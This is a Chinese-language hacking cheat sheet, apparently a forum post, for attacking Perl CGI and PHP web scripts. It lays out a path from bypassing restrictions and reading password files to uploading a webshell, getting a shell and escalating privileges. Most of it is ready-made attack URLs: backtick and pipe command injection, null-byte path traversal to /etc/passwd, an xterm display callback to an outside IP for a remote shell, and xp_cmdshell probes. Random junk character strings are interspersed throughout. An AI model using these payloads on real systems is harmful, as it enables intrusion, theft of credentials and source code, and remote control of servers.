总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 # E' u8 K5 V. t8 j& Q
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
0 y3 h' J! S1 h+ G' J3 Q8 l感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
6 o( ?& m* i& Q" p注“ . f+ |- p; K2 h; b9 Q
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
; e$ w, m# c% y" O3 Q" s6 v7 A以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
' a( @: J* ]- c7 k3 f( H# R: D9 S5 ~9 ^2 M
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造
, ^1 M" h3 Z7 k7 R1 H9 V+ q3 shttp://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
! q$ }2 e9 y. Hhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 - I+ }$ G5 q" X4 e9 g* D
http://target.com/cgi-bin/home/news/sub.pl?`id` 1 w" ` ?6 M/ N
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
# I9 ?9 a: P3 e; q) c2 Hhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
( @2 K! r7 b6 x* |1 w$ S9 I- {$ Q0 G1 Q. B
http://target.com/test.pl;ls|
6 s3 D. i1 F6 Vhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| 9 q$ v1 b. D+ k$ X
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| 3 v! u" o- f1 z% n5 M: k! e3 Z
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
1 `4 o5 j6 r, {( E/ D+ {3 ?比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 6 C! V7 a) y8 Y+ Z# Q
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
3 k6 C' J0 s+ m
( B! Q n& F D) f, M# P- Phttp://target.com/test.pl?&........ /../../etc/passwd 0 d6 q* n, M/ G+ t
7 V3 B1 O c/ o4 a# I! g
http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
0 x$ I& J* _- I6 K) z+ R! T3 _http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
% N' o% w! G( ?/ o% T4 D, \http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
0 A1 V! X- H+ m8 ?6 W8 I: N' ?& G0 H+ [# k. `( k# U
http://www.target.org/show.php?f ... /include/config.php 查看php代码
# W% M$ `* c! ~. _http://www.target.org/show.php?f ... ng/admin/global.php
8 ^1 f T4 H; y5 I! k! ]. t9 n0 m7 T% [* p/ C
emm和ps的一句话
8 r! B8 N. i& X9 ?' b( N7 _( j W: e8 ~- J
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 5 B6 Y& c( a; ] j+ F; `9 O
" j7 f% s% b; h; l, I$ n$ K, Y' N>bbb%20| 3 f3 h; R; I" P/ J# M' f3 s
* x8 b; k5 V3 R! f' i
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
$ \9 ^& A, q6 }3 B3 X' ?7 V7 ]2 z& x6 H' H& r( _
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 , L2 v \* u9 [3 z
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin 7 P. l$ P3 d' Z: P% s/ ?6 U& z
9 c9 M2 F% C, a* D; d) u
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
1 r" s. l/ ]0 L1 M3 a- h2 O5 _http://target.com/index.html#cmd.exe
- j" A' i: h) _ k/ ?2 B! Lhttp://target.com/index.html?dummyparam=xp_cmdshell
2 G0 i1 `8 y. e( Slynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
/ p A# _/ w8 r4 Y% Z |